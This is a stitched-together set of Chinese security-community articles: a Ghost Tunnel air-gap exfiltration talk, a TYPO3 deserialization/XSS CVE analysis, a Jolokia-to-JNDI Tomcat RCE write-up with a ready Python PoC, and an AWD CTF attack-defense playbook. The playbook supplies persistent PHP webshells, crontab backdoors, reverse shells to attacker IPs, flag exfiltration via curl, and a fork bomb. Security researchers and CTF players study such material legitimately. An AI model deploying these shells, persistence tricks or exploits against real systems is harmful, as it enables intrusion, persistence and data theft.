网页仿冒是通过构造与某一目标网站高度相似的页面（俗称钓鱼网站），并通常以垃圾邮件、即时聊天、手机短信或网页虚假广告等方式发送声称来自于被仿冒机构的欺骗性消息，诱骗用户访问钓鱼网站，以获取用户个人秘密信息（如银行帐号和帐户密码）。
### 网页挂马
网页挂马是通过在网页中嵌入恶意代码或链接，致使用户计算机在访问该页面时被植入恶意代码。
### 网站后门
网站后门事件是指黑客在网站的特定目录中上传远程控制页面从而能够通过该页面秘密远程控制网站服务器的攻击事件。
### 垃圾邮件
垃圾邮件是将不需要的消息（通常是未经请求的广告）发送给众多收件人。包括：（一）收件人事先没有提出要求或者同意接收的广告、电子刊物、各种形式的宣传品等宣传性的电子邮件；（二）收件人无法拒收的电子邮件；（三）隐藏发件人身份、地址、标题等信息的电子邮件；（四）含有虚假的信息源、发件人、路由等信息的电子邮件。
### 域名劫持
域名劫持是通过拦截域名解析请求或篡改域名服务器上的数据，使得用户在访问相关域名时返回虚假 IP 地址或使用户的请求失败。
### 非授权访问
非授权访问是没有访问权限的用户以非正当的手段访问数据信息。非授权访问事件一般发生在存在漏洞的信息系统中，黑客利用专门的漏洞利用程序
（Exploit）来获取信息系统访问权限。
### 移动互联网恶意程序
在用户不知情或未授权的情况下，在移动终端系统中安装、运行以达到不正当目的，或具有违反国家相关法律法规行为的可执行文件、程序模块或程序片段。 | 社区文章 |
# HITB议题-Ghost Tunnel攻击隔离网络的WiFi隐蔽传输通道
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在4月的HITB阿姆斯特丹站上，我们（PegasusTeam）分享了一个关于隔离网攻击的议题——“Ghost Tunnel :Covert Data
Exfiltration Channel to Circumvent Air Gapping”。
Ghost
Tunnel是一种可适用于隔离环境下的后门传输方式。一旦payload在目标设备释放后，可在用户无感知情况下对目标进行控制及信息回传。相比于现有的其他类似研究（如WHID，一种通过
Wi-Fi 进行控制的 HID 设备），Ghost Tunnel不创建或依赖于任何有线、无线网络，甚至不需要外插任何硬件模块。
## 一、背景
### 1.1 远控木马上线方式
常见的远控木马上线方式大致有这几种：
* ·主动连接
被控端木马执行后开启特定端口，攻击端通过该主机IP及端口连接到被控端。这种方式需要被控端拥有公网IP。
* ·反弹连接
与主动连接的方式相反。攻击端开启特定端口，被控端执行木马后连接到攻击端。由于被控端主机往往处在内网环境，所以反弹连接的形式更加常用，如FTP上线、DNS域名解析上线等。
* ·通过第三方网站
为了增加隐蔽性，绕过访问白名单限制或为了反追踪，有部分木马采用第三方网站进行通信。比如通过知名博客类网站，利用文章内容及评论区进行控制命令及返回结果的储存。
然而这些上线方式在面对网络隔离环境时都行不通了，因为它们处在完全没有外网的环境中。
### 1.2 什么是Air Grapping
> Wikipedia: “An air gap, air wall or air gapping is a network security
> measure employed on one or more computers to ensure that a secure computer
> network is physically isolated from unsecured networks, such as the public
> Internet or an unsecured local area network.”
简单来说，Air Grapping是一种用于保护特定网络，采用物理隔离的安全措施，通常被用来防止通过网络连接途径造成的入侵事件及信息泄漏事件。
网络隔离被认为是非常安全的一种措施，对其的攻击是非常困难的。攻击者无论是想利用操作系统，应用软件，还是通信协议上的漏洞，都需要通过网络。然而凡事没有绝对，一些大新闻告诉我们利用恶意USB就是一种具有可操作性的攻击方式。
**震网病毒 Stuxnet Worm**
著名的震网病毒便利用了USB的方式将病毒传入隔离网络，随后将病毒传播到网络中的其他设备。在适当的时候给工控机器下发错误指令，导致机器异常直至报废。最终震网病毒导致伊朗的核计划被迫延迟至少两年。
**水蝮蛇一号 COTTONMOUTH-I**
在斯诺登披露的NSA秘密武器中包含了该工具，其内部包含了一套 ARMv7
芯片和无线收发装置。当它插入目标主机后，植入恶意程序并创建一个无线网桥，配套的设备可通过RF信号与其进行交互，传输命令及数据。同样，它被NSA用于攻击伊朗的秘密机构，从物理隔离的设备中窃取数据长达数年。
## 二、Ghost Tunnel
对于隔离网络的攻击一般有两个步骤：
1. 在目标系统植入恶意软件
2. 建立数据通道，(infiltrate & exfiltrate)，以便执行命令和窃取数据。
根据之前的案例可以看到，任何可以承载数据的媒介都是可以用来建立数据通信的通道。Ghost Tunnel便是一个利用WiFi信号的隐蔽传输通道。
首先，以HID攻击为例：我们使用BashBunny或者DuckHunter等HID工具将恶意程序植入受害者设备，比如一台Windows笔记本。随后恶意程序将使用受害者设备的
**内置无线通信模块** 与另一台由攻击者控制的设备建立端到端的WiFi传输通道。此时，攻击者就可以远程执行命令并窃取数据。
值得注意的是，Ghost
Tunnel指的是通过利用受害者设备自身的无线模块来建立传输通道的一种方式，其并不仅局限于使用HID攻击来植入恶意程序，实际上以其他方式植入也是可行的。
### 2.1 优势
Ghost Tunnel的实现方式具有这几个优势：
* ·HID设备只用于植入攻击代码，当植入完成就可以移除了。（HID攻击外的其他植入形式也是可以的）
* ·没有正常的网络连接，可以绕过防火墙。
* ·不会对现有的网络通信及连接状态造成影响。
* ·跨平台支持。该攻击可用于任何拥有WiFi模块的设备，我们在Win7、Win10、Mac OSX上进行了测试。
* ·可在几十米内工作，配合信号桥接设备理论上可做到无限远。
### 2.2 原理
在正常的Wi-Fi通信中，一个站点必须经历Beacon，Probe，Authentication，Association等过程后才能建立与接入点的连接，其整个流程如下图。
而Ghost Tunnel并没有使用正常的Wi-Fi连接，而只用到了Beacon、Probe Request、Probe Response，如下图。
为什么用这三个帧呢？在802.11的状态机中，取决于认证和关联的状态，一共有三个阶段。
在State
1时，客户端处于Unauthenticated、Unassociated状态。而该阶段可以使用的802.11帧有以下具体几种，其中就包含了Probe
Request，Probe Response，Beacon帧。
原本它们被使用在无线网络扫描阶段。当802.11客户端在扫描可用无线网络时，有两种扫描方式：
* 主动扫描，客户端主动发送Probe Request，接收由接入点返回的Probe Response。
* 被动扫描，客户端在每个频道监听AP周期性发送的Beacon。
总而言之，Ghost Tunnel通过Probe Request，Probe
Response，Beacon三种类型帧来进行通信，并不建立完整的WiFi连接。
首先攻击者创建一个具有特殊SSID的AP，攻击者和受害设备都使用它作为通信的标识符（而不是常规WiFi通信中的MAC）。此时，攻击者通过解析受害者设备发出的Probe
Request帧得到数据；受害者设备上的恶意程序将解析攻击者发出的Beacon及Probe Response帧来执行命令并返回数据。这便是Ghost
Tunnel WiFi隐蔽传输通道的秘密。
### 2.3 Demo
来看一看演示效果：
您的浏览器不支持video标签
### 2.4 其他
你可能会有关于实现原理等更深入的问题，比如：
* 如何在802.11帧中携带我们的载荷？
* 如何在用户空间利用设备的无线网卡来发送和接受802.11数据包？
* 各个操作系统平台的WiFi应用接口是什么，具体如何实现？
* 攻击者端的C&C Server是如何实现的？
欢迎查看我们已对外公布的PPT，你可以在其中找到这些问题的答案。如果觉得该研究还不错的话，欢迎点下Star。
<https://github.com/360PegasusTeam/PegasusTeam/tree/master/talks> | 社区文章 |
# CVE-2019-12747：TYPO3 9.5.7 RCE漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 ripstech，文章来源：blog.ripstech.com
原文地址：<https://blog.ripstech.com/2019/typo3-overriding-the-database>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 概述
在本文中，我们研究TYPO3 CMS的核心中的一个关键漏洞，该漏洞通过代码审计挖掘而出。该漏洞使得经过身份验证的用户能够在底层系统上执行任意PHP代码。
受该漏洞影响的版本是TYPO3 8.x到8.7.26，以及TYPO3
9.x到9.5.7。对不可信数据的反序列化会导致远程代码执行漏洞，该漏洞可以与后端中检测到的跨站脚本漏洞(CVE-2019-12748)相结合。
RIP扫描报告（https://demo.ripstech.com/scan/109/165）
## 0x02 使用payload覆盖数据库
在TYPO3的后端部分保存任何表单时将会发生此漏洞。例如，如果用户修改了pages部分，则可以从TYPO3的SQL数据库中提取要编辑的数据并将其写回数据库。在从数据库获取数据之后，应用逻辑允许通过用户的输入覆盖所获取数据的单列。此特征允许经过身份验证的恶意后端用户覆盖包含序列化数据的数据库值，这些数据稍后会反序列化。这将会导致PHP对象注入，最终攻击者可以远程执行代码（CVE-2019-12747）。
攻击视频（https://blog.ripstech.com/videos/typo3_957.mp4）
## 0x03 技术细节
在TYPO3中保存后端表单时，将调用$formDataCompiler对象的compile()方法。参数是一个使用用户输入填充的数组，如下第8行所示。
typo3/sysext/backend/Classes/Controller/EditDocumentController.php
<?php
$this->overrideVals = $parsedBody['overrideVals'] ??
$queryParams['overrideVals'] ?? null;
// ...
$formDataCompilerInput['overrideValues'] = $this->overrideVals[$table];
$formData = $formDataCompiler->compile($formDataCompilerInput);
该方法使用for-loop遍历一个有序的FormDataProvider对象列表，并按顺序在每个$provider对象上调用addData()方法。
typo3/sysext/backend/Classes/Form/FormDataGroup/OrderedProviderList.php
<?php
public function compile(array $result): array
{
// ...
foreach ($orderedDataProvider as $providerClassName => $providerConfig) {
// ...
$result = $provider->addData($result);
}
return $result;
}
如上代码的第9行，$provider->addData()的参数$result在下面的addData()方法调用作为其参数。在每次迭代时，变量$result表示数组在$provider处理完其内容后被修改。其中一个providers是DatabaseRecordOverrideValues类的一个实例，该类允许覆盖从数组$result中提取的数据，其中数组的行列值分别为databaseRow和任意key值。
typo3/sysext/backend/Classes/Form/FormDataProvider/DatabaseRecordOverrideValues.php
<?php
public function addData(array $result)
{
foreach ($result['overrideValues'] as $fieldName => $fieldValue) {
if (isset($result['processedTca']['columns'][$fieldName])) {
$result['databaseRow'][$fieldName] = $fieldValue;
// ...
}
}
return $result;
}
最后，下列FormDataProvider对象之一实现了unserialize()方法对被覆盖数据的调用，从而导致漏洞：
typo3/sysext/backend/Classes/Form/FormDataProvider/DatabaseLanguageRows.php
<?php
public function addData(array $result)
{
// ...
if (/*...*/)
{
$result['defaultLanguageDiffRow'][$defaultLanguageKey] = unserialize(
$result['databaseRow'][$result['processedTca']['ctrl']
['transOrigDiffSourceField']]);
这里是有关如何通过工具链expoit PHP对象注入的更多信息的链接： （https://blog.ripstech.com/2018/php-object-injection）
## 0x04 CVE-2019-12748：在后端的存储型XSS
CMS TYPO3的后端中存在跨站脚本漏洞（CVE-2019-12748）。有权访问Site
Redirects部分的非特权用户可以利用t3://伪协议注入一个恶意的URL。
t3://url/?url=javascript:alert(1);
通过添加这个特定的站点，可以重定向另一个拥有更高权限的TYPO3用户，从而诱使他们点击触发恶意JavaScript的链接。攻击者可以将此漏洞作为启动远程代码执行漏洞攻击的支点。
TYPO3会阻止用户利用链接和URL中危险的javascript:伪协议，这意味着TYPO3将直接执行JavaScript。但是，它并不阻止用户利用TYPO3的内置t3://伪协议，该协议实现了多种功能，例如引用TYPO3内部页面，文件，邮件地址或URLs。实际上，指定一个自动转换为可点击链接的URL将绕过TYPO3的白名单，该白名单最初的作用是阻止javascript:伪协议。
## 0x05 总结
本文所述的漏洞会对具有一个或多个TYPO3后端的用户的TYPO3系统产生严重的影响。经过身份验证并且可以访问Pages部分的后端用户可以在底层远程系统上执行代码。攻击者可以利用Site
Redirects模块中的跨站脚本漏洞作为利用此漏洞的支点。
## 0x06 时间线
* 2019年5月9日：提交漏洞
* 2019年5月9日：漏洞确认
* 2019年5月10日：与厂商安全负责人协调解决问题
* 2019年6月6日：厂商通知6月25号发布补丁
* 2019年6月25日：TYPO3 9.5.8补丁发布
## 0x07 参考文献
WordPress 5.1 CSRF to Remote Code Execution：
https://blog.ripstech.com/2019/wordpress-csrf-to-rce
Magento 2.3.1: Unauthenticated Stored XSS to RCE：
https://blog.ripstech.com/2019/magento-rce-via-xss
MyBB <= 1.8.20: From Stored XSS to RCE：
https://blog.ripstech.com/2019/mybb-stored-xss-to-rce
WordPress 5.0.0 Remote Code Execution：
https://blog.ripstech.com/2019/wordpress-image-remote-code-execution
CTF Writeup: Complex Drupal POP Chain：
https://blog.ripstech.com/2019/complex-drupal-pop-chain | 社区文章 |
**作者：Lucifaer
博客：<https://www.lucifaer.com> **
本文接[上文](https://paper.seebug.org/850/)，这里不会分析原文章中所说的`/env`这种利用的方法，而是说一下rr大佬的发现的另外一条利用链。
### 0x01 检查MBean
如果说不存在`ch.qos.logback.classic
reloadByURL`这个MBean，还能不能造成RCE呢，这个是我在看完文章后的一个想法。如果说想要解决这个问题，我们需要再看看`/jolokia/list`中还有哪些利用链可用（真的是太多了T
T，由于当时看完记得是在Spring Boot中内嵌的Tomcat中，所以直接看的这个类，然而这个类差点也看跪了T T）。
最终找到`org.apache.catalina.mbeans.MBeanFactory`这个可能能造成JNDI注入的类，其中有以下这么几个方法从注释的描述中感觉是可以造成JNDI注入的：
* createUserDatabaseRealm
* createDataSourceRealm
* createJNDIRealm
这几点中只有最后的`createJNDIRealm`是可用的，但是他们前面的处理流程都是一样的，接下来就将他们前面的处理流程简单的分析一下，并说明为什么只有`createJNDIRealm`是可用的。
### 0x02 Realm创建流程分析
Realm是一个MVCC数据库，而MVCC是用于解决多版本并发问题的一个方法。有关Realm的一些具体介绍可以参考[这篇文章](https://infoq.cn/article/introduce-and-common-problems-of-java-realm-principle)。而我自己的理解是就是它给每一个连接的线程建立了一个“快照”，当两个请求同时到达一个线程时，程序不会造成阻塞，而是会在这个“快照”（也是一个线程）中进行操作，当执行完成后，阻塞合并更改（有点像git）：
然而Realm的原理跟我们主要要说的关系不大，tomcat在创建不同的Realm时其实大致的流程都是相同的，只是最后的具体实现不同而已，比如上一节中说道的三个Realm的创建在代码实现流程上是极为相似的：
所以我们跟一下红框的部分然后看具体实现就好。
不难看出关键点在于`container.setRealm(realm);`，跟进看一下：
如果不存在则创建一个新的realm，这里涉及到`Lifecycle`的一部分设计与实现，如果想要了解`Lifecycle`的细节的话，可以参考[这篇文章](https://uule.iteye.com/blog/2340873)。跟进看一下：
看一下这个`startInternal`的具体实现，发现是一个虚类，那么看一下它的继承关系，找一下它的具体实现：
可以看到我们所找到这三个Realm的具体实现点了。
下面说一下为什么`createUserDatabaseRealm`和`createDataSourceRealm`不能用。
1. `createUserDatabaseRealm`
乍一看`resourceName`可控，好像可以JNDI注入，然后发现`getGlobalNamingContext()`返回的是一个null：
所以无法利用。
2. `createDataSourceRealm`
好像并不可以利用。
### 0x03 createJNDIRealm的利用分析
那么再来看看`createJNDIRealm`：
这里有两个重要的点，`createDirContext()`用env来创建一个`InitialDirContext`，另一个点是`Context.*`的配置我们可以控。
那么具体的JNDI触发点在哪里呢？我们需要着重跟一下`createDirContext`。
首先`createDirContext`最后返回一个`InitialDirContext`对象，而这个对象是根据env来生成的：
跟进，发现这个`InitialDirContext`实际上是`InitialContext`的子类，为什么要着重强调这一点呢？因为JDNI的两个必备要素中就一个要求是：上下文对象是通过InitialContext及其子类实例化的，且他们的lookup()方法允许动态协议切换。
跟进看一下：
`myProps`通过传入的初始上下文配置经过处理返回完整的上下文环境，可以把它看成env的“完整版”。接着向下跟进：
注意红框部分，我们可以通过设置env中的`INITIAL_CONTEXT_FACTORY`来控制这里的`factory`，可以看一下有哪些是我们可以指定的：
可以看到我们可以指定`com.sun.jndi.rmi.registry`，来进行rmi的操作，来看一下具体实现：
这里的`var1`还是我们的env，也就是说这里的第一个参数是可控的：
`var0`、`var1`可控，还调用了`lookup()`，在这里完成了JDNI的注入。
### 0x04 构造poc
梳理一下思路，我们需要做这么几部来完成攻击：
1. 创建`JNDIRealm`
2. 通过`getDirectoryContextEnvironment()`来设置`contextFactory`为`RegistryContextFactory`，并将`connectionURL`设置为自己的N/D服务器
3. 重启Realm来完成更改并执行（stop、start）
也就是说需要发4次请求。
在利用过程中get请求的构造比较麻烦这里用post请求来构造poc，关于post如何解析的可以参考get请求解析的分析流程，这里就不过多描述了。
poc：
import requests as req
import sys
from pprint import pprint
url = sys.argv[1] + "/jolokia/"
pprint(url)
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://localhost:1097/Exploit"
}
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())
效果：
### 0x05 Reference
* <https://infoq.cn/article/introduce-and-common-problems-of-java-realm-principle>
* <https://uule.iteye.com/blog/2340873>
* <https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt>
* * * | 社区文章 |
# 比赛规则
* 比赛：指从开始到结束的一整场比赛过程。
* 轮：指一个单独的时间区间，分数计算的最小周期，一般为 10 分钟。 一场比赛由许多轮组成，可以理解为：`总轮数 = 比赛总时长 / 单轮时长`。
* 选手：指比赛的参赛队伍，通常是一个 3-5 人的团队。
* 题目：比赛的试题，对应着传统 Jeopardy 模式中的一道道题目。
* 靶机：AWD 模式中，对于每一道题目，每个选手都会有一个自己的独立靶机，上面运行着这个题目的环境。
* Check：为了检测选手的靶机服务以及功能是否能够正常运行，主办方会不定期运行 Check，（通常是一段自动请求并验证的脚本）用以检测服务可用性。检测到服务不可用，功能不全的靶机，其所属队伍将被扣分。（Check 的存在，是为了防止选手故意删站，或部署通防来使得攻击方无法对其靶机进行攻击，从而达到所谓“绝对的防御”）
* 服务宕机 / CheckDown：指选手的靶机服务不可用，或功能不全。
# 常见awd思路
（当作参考）
## 1.靶机登陆
一般来说有两种登陆方式：
* rsa公钥登陆
* 用户名/密码登陆
使用xshell的话，那存在一个选择公钥的选项，可以直接登陆。
mobaxterm似乎是还要了解一下 ssh公钥登陆的命令
### 1.1 登陆后的思路
#### 1.1.1 修改默认密码
* ssh是弱口令要记得修改密码
* 如果又权限进入mysql，也需要修改密码
#### 1.1.2 信息备份
1.tar备份
tar -zvxf /tmp/www.tar.gz /var/www/html/
scp备份
scp -P ssh_port user@host_ip:/tmp/bak.sql local_filebash
修改源码的时候，可以利用vscode远程连接
或者是利用vi
2.mysql备份
//备份
mysqldump -u user -p passwd database > 1.sql
//还原
mysql -u user -p passwd database < 1.sql
## 2.defence
**1.查询操作**
* 因为tar是不会备份隐藏文件的，所以需要ls -al查看一下是否存在后门
* 用d盾或者seay查看一下是否存在预留的一句话木马
* 利用grep -r "xxx" /var/www/html/ 查看一下是否有默认文件存在flag
* 检测端口暴露的情况(3306..)，如果MySQL的端口暴露，记得修改一下默认密码（也要修改php/java代码中的连接代码）
* 查看有没有后门账户
**2.脚本部署**
* 日志监控部署（非必要：有些比赛主办方会提供流量）
* waf部署（有时候waf会被check扣分，所有要看情况。主办方有可能也有要求不能上）
* 文件监控（一般来说是需要在waf部署之后再部署）
## 3.Attack
* 抄作业（看流量、别人留的后门可以上车。一句话密码可能是md5的，或许需要网上解码一下。如果是主办方要求不能上网：但是还是一屋子的iphone、honor...你晓得吧？)
* 代码审计
* 权限维持
* 利用脚本快速得分(最好是不要一个一个flag交，非常狼狈(
## 4.详细步骤
### 4.1 目标确定
1. 主办方提供 **网络拓扑和端口范围**
* 攻击机、靶机、check 服务器
1.1 确定端口
nmap 10.16.10.19 -p1-65535
1.2 确定其他目标(扫描c段)
nmap –sS 10.16.10.0/24
1. 主办方提供端口和ip且ip是连续的
* 直接打就完事了
### 4.2 代码审计
一般来说很可能会遇到一些tp、yii、laravel二次开发的框架，如果平时也有在收集这些链子的话可能也会用得到。
一般来说因为awd时间短，且代码量多所以考核的题目应该也不会太难
* 漏洞类型
1.预置后门
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
如果是ctf用户：最好是就修改一下连接密码就好，留一个预置后门。（直接用蚁剑连接操作作也不是不行
2.文件上传
* 直接使用白名单文件上传
3.SQL注入
* SQL注入
* 防御方式：转义 ' " 、确认页面编码和数据库编码统一（基本上过滤90%
* SQL写shell
* MySQL端口暴露
* 关闭端口暴露或者是修改默认的MySQL密码(注意配置文件也要修改
4.反序列化
* 加过滤，匹配语句类型或者关键字
6.xxe
* 禁止引用外部dtd
7.代码执行
* 过滤一些关键函数
8.文件遍历
* 过滤关键字
### 4.3 权限维持
#### 4.3.1 文件读取操作
我认为权限维持有时候也没办要写不死马之类的，不过 要是所有操作一起上了也不是不行(
条件允许的话也可以在 **一些** php、js脚本文件，直接写一个读取flag文件的操作也可以在返回的header中(也不容易被发现
header(php'flag:'.file_get_contents('/tmp/flag'));
#### 4.3.2 不死马
一般来说，都是通过定时任务不断的写shell达到"不死马"这个操作
* php不死马
file_put_contents('.1ndex.php',base64_decode('PD9waHAgIAogICAgc2V0X3RpbWVfbGltaXQoMCk7ICAKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOyAgCiAgICB1bmxpbmsoX19GSUxFX18pOyAgCiAgICB3aGlsZSgxKXsgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCcubG5kZXgucGhwJywnPD9waHAgaWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iN2I3ZmRmZmVmNDY0MDE5ZjcxOTBkMDM4NGQ1YjM4MzgiKXtAZXZhbCgkX1BPU1RbImNtZCJdKTt9ID8+Jyk7ICAKICAgICAgICBzbGVlcCgxKTsgIAogICAgfQo/Pg==+Jyk7ICAKICAgICAgICBzbGVlcCgwKTsgIAogICAgfQo/Pg=='));
?pass=me7eorite&cmd=system('cat /flag')
* Linux定时任务写马
system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==\'7b7fdffef464019f7190d0384d5b3838\'){@eval(\\\\\\\\\$_POST[1]);} \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');
如果被种马了，怎么防御？
* 杀进程后重启服务
* 写一个同名的文件夹
* 写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马)
#### 4.3.3 定时任务
* 使用定时任务发送带有flag的请求
bash# 编辑 crontab：crontab -e
*/5 * * * * curl 10.10.10.5:8000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
# 查询 crontab：crontab -l
* 使用定时任务反弹shell
* bash
bash -c bash'bash -i >& /dev/tcp/[ip]/[port] 0>&1'
nc -e /bin/bash 1.3.3.7 4444 bash
* python
python -c bash'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_REAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
* php
php -r bash'$sock=fsockopen("your_ip","4444");exec("/bin/sh -i <&3 >&3 2>&3");'
如果因为定时任务一直失分咋办？
* 杀进程（ps -ef / px -aux）
一般/bin/sh是nc服务
kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'
如果是ctf权限的话，那只能写个马执行这个命令
#### 4.3.4 宕机
如果遇到不得不宕机的情况可以使用
:(){:|:&};:
### 4.4 关于脚本
#### **4.4.1.上传waf**
check机制可能会check到waf过滤的参数，导致宕机（所以上床waf要慎重
php.ini
auto_prepend_file=waf.php;
bash
sudo find /var/www/html/ -bashtype f -path "*.php" | xargs sed -i "s/<?php /<?php\nrequire_once('\/tmp\/waf.php');\n/g"
可以在upload目录下写.htaccess禁止php文件执行
<Directory "/var/www/html/upload">
Options -ExecCGI -Indexes
AllowOverride None
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
php_flag engine off
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>
</Directory>
#### **4.4.2.主板方提供流量**
可以使用wireshark
基础用法：
* 过滤IP地址
> 1. ip.addr == 192.168.1.1 //只显示源/目的IP为192.168.1.1的数据包
> 2. not ip.src == 1.1.1.1 //不显示源IP为1.1.1.1的数据包
> 3. ip.src == 1.1.1.1 or ip.dst == 1.1.1.2
> //只显示源IP为1.1.1.1或目的IP为1.1.1.2的数据包
>
* 过滤端口
> 1. tcp.port eq 80 #不管端口是来源还是目的都显示80端口
> 2. tcp.port == 80
> 3. tcp.port eq 2722
> 4. tcp.port eq 80 or udp.port eq 80
> 5. tcp.dstport == 80 #只显示tcp协议的目标端口80
> 6. tcp.srcport == 80 #只显示tcp协议的来源端口80
> 7. udp.port eq 15000
> 8. tcp.port >= 1 and tcp.port <= 80 #过滤端口范围
>
* 过滤MAC地址
> 1. eth.dst == MAC地址 #过滤目标MAC
> 2. eth.src eq MAC地址 #过滤来源MAC
> 3.eth.addr eq MAC地址 #过滤来源MAC和目标MAC都等于MAC地址的
>
* http请求方式过滤
> 1. http.request.method == “GET”
> 2.http.request.method == “POST”
> 3.http.host mathes
> “[www.baidu.com](http://www.baidu.com)|[http://baidu.cn](https://link.zhihu.com/?target=http%3A//baidu.cn)“
> #matches可以写多个域名
> 2. http.host contains
> “[http://www.baidu.com](https://link.zhihu.com/?target=http%3A//www.baidu.com)“
> #contain只能写一个域名
> 3. http contains “GET”
>
多条过滤语句执行：
http.request.method ==”GET” && http contains “Host: “ http.request.method == “GET” && http contains “User-Agent: “ http.request.method ==”POST” && http contains “Host: “ http.request.method == “POST” && http contains “User-Agent: “ http contains “HTTP/1.1 200 OK” && http contains “Content-Type: “ http contains “HTTP/1.0 200 OK” && http contains “Content-Type: “
#### 4.4.3.文件监控
如果靶机没有python环境，那还需要在安装一下
python# -*- coding: utf-8 -*- #use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import time
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
passcur
else: raise
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:cur
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径，并获取所有文件的MD5，同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
